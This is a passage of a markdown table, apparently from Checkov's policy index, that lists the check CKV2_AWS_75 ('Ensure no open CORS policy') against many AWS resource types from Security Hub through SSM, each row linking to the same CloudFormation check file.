[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1430 | CKV2_AWS_75 | resource | aws_securityhub_standards_control_association                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1431 | CKV2_AWS_75 | resource | aws_securityhub_standards_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1432 | CKV2_AWS_75 | resource | aws_securitylake_aws_log_source                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1433 | CKV2_AWS_75 | resource | aws_securitylake_custom_log_source                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1434 | CKV2_AWS_75 | resource | aws_securitylake_data_lake                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1435 | CKV2_AWS_75 | resource | aws_securitylake_subscriber                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1436 | CKV2_AWS_75 | resource | aws_securitylake_subscriber_notification                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1437 | CKV2_AWS_75 | resource | aws_serverlessapplicationrepository_cloudformation_stack         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1438 | CKV2_AWS_75 | resource | aws_service_discovery_http_namespace                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1439 | CKV2_AWS_75 | resource | aws_service_discovery_instance                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1440 | CKV2_AWS_75 | resource | aws_service_discovery_private_dns_namespace                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1441 | CKV2_AWS_75 | resource | aws_service_discovery_public_dns_namespace                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1442 | CKV2_AWS_75 | resource | aws_service_discovery_service                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1443 | CKV2_AWS_75 | resource | aws_servicecatalog_budget_resource_association                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1444 | CKV2_AWS_75 | resource | aws_servicecatalog_constraint                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1445 | CKV2_AWS_75 | resource | aws_servicecatalog_organizations_access                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1446 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1447 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio_share                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1448 | CKV2_AWS_75 | resource | aws_servicecatalog_principal_portfolio_association               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1449 | CKV2_AWS_75 | resource | aws_servicecatalog_product                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1450 | CKV2_AWS_75 | resource | aws_servicecatalog_product_portfolio_association                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1451 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioned_product                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1452 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioning_artifact                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1453 | CKV2_AWS_75 | resource | aws_servicecatalog_service_action                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1454 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1455 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option_resource_association               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1456 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_application                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1457 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1458 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group_association        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1459 | CKV2_AWS_75 | resource | aws_servicequotas_service_quota                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1460 | CKV2_AWS_75 | resource | aws_servicequotas_template                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1461 | CKV2_AWS_75 | resource | aws_servicequotas_template_association                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1462 | CKV2_AWS_75 | resource | aws_ses_active_receipt_rule_set                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1463 | CKV2_AWS_75 | resource | aws_ses_configuration_set                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1464 | CKV2_AWS_75 | resource | aws_ses_domain_dkim                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1465 | CKV2_AWS_75 | resource | aws_ses_domain_identity                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1466 | CKV2_AWS_75 | resource | aws_ses_domain_identity_verification                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1467 | CKV2_AWS_75 | resource | aws_ses_domain_mail_from                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1468 | CKV2_AWS_75 | resource | aws_ses_email_identity                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1469 | CKV2_AWS_75 | resource | aws_ses_event_destination                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1470 | CKV2_AWS_75 | resource | aws_ses_identity_notification_topic                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1471 | CKV2_AWS_75 | resource | aws_ses_identity_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1472 | CKV2_AWS_75 | resource | aws_ses_receipt_filter                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1473 | CKV2_AWS_75 | resource | aws_ses_receipt_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1474 | CKV2_AWS_75 | resource | aws_ses_receipt_rule_set                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1475 | CKV2_AWS_75 | resource | aws_ses_template                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1476 | CKV2_AWS_75 | resource | aws_sesv2_account_suppression_attributes                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1477 | CKV2_AWS_75 | resource | aws_sesv2_account_vdm_attributes                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1478 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1479 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set_event_destination                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1480 | CKV2_AWS_75 | resource | aws_sesv2_contact_list                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1481 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_assignment                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1482 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_pool                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1483 | CKV2_AWS_75 | resource | aws_sesv2_email_identity                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1484 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_feedback_attributes                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1485 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_mail_from_attributes                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1486 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1487 | CKV2_AWS_75 | resource | aws_sfn_activity                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1488 | CKV2_AWS_75 | resource | aws_sfn_alias                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1489 | CKV2_AWS_75 | resource | aws_sfn_state_machine                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1490 | CKV2_AWS_75 | resource | aws_shield_application_layer_automatic_response                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1491 | CKV2_AWS_75 | resource | aws_shield_drt_access_log_bucket_association                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1492 | CKV2_AWS_75 | resource | aws_shield_drt_access_role_arn_association                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1493 | CKV2_AWS_75 | resource | aws_shield_proactive_engagement                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1494 | CKV2_AWS_75 | resource | aws_shield_protection                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1495 | CKV2_AWS_75 | resource | aws_shield_protection_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1496 | CKV2_AWS_75 | resource | aws_shield_protection_health_check_association                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1497 | CKV2_AWS_75 | resource | aws_shield_subscription                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1498 | CKV2_AWS_75 | resource | aws_signer_signing_job                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1499 | CKV2_AWS_75 | resource | aws_signer_signing_profile                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1500 | CKV2_AWS_75 | resource | aws_signer_signing_profile_permission                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1501 | CKV2_AWS_75 | resource | aws_simpledb_domain                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1502 | CKV2_AWS_75 | resource | aws_snapshot_create_volume_permission                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1503 | CKV2_AWS_75 | resource | aws_sns_platform_application                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1504 | CKV2_AWS_75 | resource | aws_sns_sms_preferences                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1505 | CKV2_AWS_75 | resource | aws_sns_topic                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1506 | CKV2_AWS_75 | resource | aws_sns_topic_data_protection_policy                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1507 | CKV2_AWS_75 | resource | aws_sns_topic_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1508 | CKV2_AWS_75 | resource | aws_sns_topic_subscription                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1509 | CKV2_AWS_75 | resource | aws_spot_datafeed_subscription                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1510 | CKV2_AWS_75 | resource | aws_spot_fleet_request                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1511 | CKV2_AWS_75 | resource | aws_spot_instance_request                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1512 | CKV2_AWS_75 | resource | aws_sqs_queue                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1513 | CKV2_AWS_75 | resource | aws_sqs_queue_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1514 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_allow_policy                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1515 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1516 | CKV2_AWS_75 | resource | aws_ssm_activation                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1517 | CKV2_AWS_75 | resource | aws_ssm_association                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1518 | CKV2_AWS_75 | resource | aws_ssm_default_patch_baseline                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1519 | CKV2_AWS_75 | resource | aws_ssm_document                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1520 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1521 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_target                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1522 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_task                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1523 | CKV2_AWS_75 | resource | aws_ssm_parameter                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1524 | CKV2_AWS_75 | resource | aws_ssm_patch_baseline                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 